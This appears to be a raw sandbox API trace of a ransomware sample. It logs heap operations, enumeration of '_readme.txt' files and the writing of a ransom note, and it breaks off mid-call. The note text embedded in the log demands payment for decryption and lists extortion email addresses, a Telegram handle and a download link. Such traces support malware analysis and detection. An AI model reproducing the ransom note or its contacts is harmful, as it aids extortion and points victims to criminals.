RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x214) returned 0x39f3ef0 [0116.282] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ebc0 [0116.282] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.282] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.282] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960eb8 [0116.282] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.282] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3942630 [0116.282] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eb50 [0116.282] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eb88 [0116.282] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3942e78 [0116.282] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0xdcae70 [0116.282] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960e28 [0116.282] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f5f38 [0116.282] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f5f60 [0116.282] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0116.282] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c48 | out: hHeap=0xd10000) returned 1 [0116.282] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947ce8 | out: hHeap=0xd10000) returned 1 [0116.282] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960e70 | out: hHeap=0xd10000) returned 1 [0116.282] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d10 | out: hHeap=0xd10000) returned 1 [0116.282] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.282] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eb18 | out: hHeap=0xd10000) returned 1 [0116.282] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ebf8 | out: hHeap=0xd10000) returned 1 [0116.282] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d60 | out: hHeap=0xd10000) returned 1 [0116.282] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c70 | out: hHeap=0xd10000) returned 1 [0116.283] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960f00 | out: hHeap=0xd10000) returned 1 [0116.283] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.283] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c98 | out: hHeap=0xd10000) returned 1 [0116.283] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38e0b90 | out: hHeap=0xd10000) returned 1 [0116.283] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c98 [0116.283] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947ae0 | out: hHeap=0xd10000) returned 1 [0116.283] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947bd0 | out: hHeap=0xd10000) returned 1 [0116.283] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x12020, ftCreationTime.dwLowDateTime=0x6bca1410, ftCreationTime.dwHighDateTime=0x1d53dff, ftLastAccessTime.dwLowDateTime=0x6bca1410, ftLastAccessTime.dwHighDateTime=0x1d53dff, ftLastWriteTime.dwLowDateTime=0x6bca1410, ftLastWriteTime.dwHighDateTime=0x1d53dff, nFileSizeHigh=0x0, nFileSizeLow=0x495, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0116.283] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x12020, ftCreationTime.dwLowDateTime=0x6bca1410, ftCreationTime.dwHighDateTime=0x1d53dff, ftLastAccessTime.dwLowDateTime=0x6bca1410, ftLastAccessTime.dwHighDateTime=0x1d53dff, ftLastWriteTime.dwLowDateTime=0x6bca1410, ftLastWriteTime.dwHighDateTime=0x1d53dff, nFileSizeHigh=0x0, nFileSizeLow=0x495, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0116.283] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0116.283] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4700 | out: hHeap=0xd10000) returned 1 [0116.283] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ebf8 [0116.283] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.283] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eb18 [0116.283] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.283] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.283] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eb18 | out: hHeap=0xd10000) returned 1 [0116.283] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eb18 [0116.283] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.283] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.283] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eb18 | out: hHeap=0xd10000) returned 1 [0116.283] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eb18 [0116.283] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.283] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.283] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eb18 | out: hHeap=0xd10000) returned 1 [0116.283] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eb18 [0116.283] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.284] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.284] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eb18 | out: hHeap=0xd10000) returned 1 [0116.284] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eb18 [0116.284] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.284] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.284] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eb18 | out: hHeap=0xd10000) returned 1 [0116.284] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eb18 [0116.284] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.284] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.284] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eb18 | out: hHeap=0xd10000) returned 1 [0116.284] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eb18 [0116.284] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.284] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f4110 [0116.284] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.284] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4110 | out: hHeap=0xd10000) returned 1 [0116.284] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eb18 | out: hHeap=0xd10000) returned 1 [0116.284] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eb18 [0116.284] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.284] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.284] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eb18 | out: hHeap=0xd10000) returned 1 [0116.284] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eb18 [0116.284] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.284] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.284] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eb18 | out: hHeap=0xd10000) returned 1 [0116.284] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eb18 [0116.284] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f4110 [0116.284] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4110 | out: hHeap=0xd10000) returned 1 [0116.284] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eb18 | out: hHeap=0xd10000) returned 1 [0116.284] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eb18 [0116.284] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f4110 [0116.284] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4110 | out: hHeap=0xd10000) returned 1 [0116.284] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eb18 | out: hHeap=0xd10000) returned 1 [0116.284] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eb18 [0116.285] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.285] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.285] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eb18 | out: hHeap=0xd10000) returned 1 [0116.285] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eb18 [0116.285] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.285] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.285] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eb18 | out: hHeap=0xd10000) returned 1 [0116.285] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eb18 [0116.285] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.285] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.285] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eb18 | out: hHeap=0xd10000) returned 1 [0116.285] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eb18 [0116.285] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.285] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.285] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eb18 | out: hHeap=0xd10000) returned 1 [0116.285] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eb18 [0116.285] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.285] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.285] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eb18 | out: hHeap=0xd10000) returned 1 [0116.285] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eb18 [0116.285] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.285] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.285] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eb18 | out: hHeap=0xd10000) returned 1 [0116.285] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ebf8 | out: hHeap=0xd10000) returned 1 [0116.285] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947bd0 [0116.285] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.285] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947ae0 [0116.285] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.285] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.285] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947ae0 | out: hHeap=0xd10000) returned 1 [0116.285] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947ae0 [0116.285] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.285] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.286] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947ae0 | out: hHeap=0xd10000) returned 1 [0116.286] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947ae0 [0116.286] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.286] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.286] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947ae0 | out: hHeap=0xd10000) returned 1 [0116.286] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947ae0 [0116.286] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.286] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.286] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947ae0 | out: hHeap=0xd10000) returned 1 [0116.286] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947ae0 [0116.286] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.286] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.286] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947ae0 | out: hHeap=0xd10000) returned 1 [0116.286] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947ae0 [0116.286] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.286] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.286] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947ae0 | out: hHeap=0xd10000) returned 1 [0116.286] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947ae0 [0116.286] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.286] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f4110 [0116.286] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.286] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4110 | out: hHeap=0xd10000) returned 1 [0116.286] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947ae0 | out: hHeap=0xd10000) returned 1 [0116.286] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947ae0 [0116.286] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.286] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.286] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947ae0 | out: hHeap=0xd10000) returned 1 [0116.286] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947ae0 [0116.286] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.286] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.286] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947ae0 | out: hHeap=0xd10000) returned 1 [0116.286] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947ae0 [0116.286] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f4110 [0116.287] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4110 | out: hHeap=0xd10000) returned 1 [0116.287] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947ae0 | out: hHeap=0xd10000) returned 1 [0116.287] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947ae0 [0116.287] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f4110 [0116.287] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4110 | out: hHeap=0xd10000) returned 1 [0116.287] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947ae0 | out: hHeap=0xd10000) returned 1 [0116.287] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947ae0 [0116.287] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.287] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.287] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947ae0 | out: hHeap=0xd10000) returned 1 [0116.287] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947ae0 [0116.287] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.287] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.287] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947ae0 | out: hHeap=0xd10000) returned 1 [0116.287] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947ae0 [0116.287] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.287] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.287] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947ae0 | out: hHeap=0xd10000) returned 1 [0116.287] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947ae0 [0116.287] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.287] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.287] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947ae0 | out: hHeap=0xd10000) returned 1 [0116.287] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947ae0 [0116.287] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.287] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.287] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947ae0 | out: hHeap=0xd10000) returned 1 [0116.287] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947ae0 [0116.287] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.287] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947ae0 | out: hHeap=0xd10000) returned 1 [0116.287] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.287] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947ae0 | out: hHeap=0xd10000) returned 1 [0116.288] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.288] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947ae0 | out: hHeap=0xd10000) returned 1 [0116.288] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.288] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947ae0 | out: hHeap=0xd10000) returned 1 [0116.288] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.288] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947ae0 | out: hHeap=0xd10000) returned 1 [0116.288] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.288] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947ae0 | out: hHeap=0xd10000) returned 1 [0116.288] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.288] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4110 | out: hHeap=0xd10000) returned 1 [0116.288] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947ae0 | out: hHeap=0xd10000) returned 1 [0116.288] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.288] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947ae0 | out: hHeap=0xd10000) returned 1 [0116.288] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.288] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0116.288] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0116.288] PathFindFileNameW (pszPath="") returned="" [0116.288] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75900000 [0116.289] GetProcAddress (hModule=0x75900000, lpProcName="SHGetFolderPathW") returned 0x75985708 [0116.289] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39f4110 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0116.289] FreeLibrary (hLibModule=0x75900000) returned 1 [0116.289] PathAppendW (in: pszPath="C:\\Boot\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\_readme.txt") returned 1 [0116.289] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.289] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.289] PathFileExistsW (pszPath="C:\\Boot\\_readme.txt") returned 0 [0116.289] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x7d00) returned 0x39f7f20 [0116.289] lstrcpyW (in: lpString1=0x39f7f20, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" [0116.290] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we 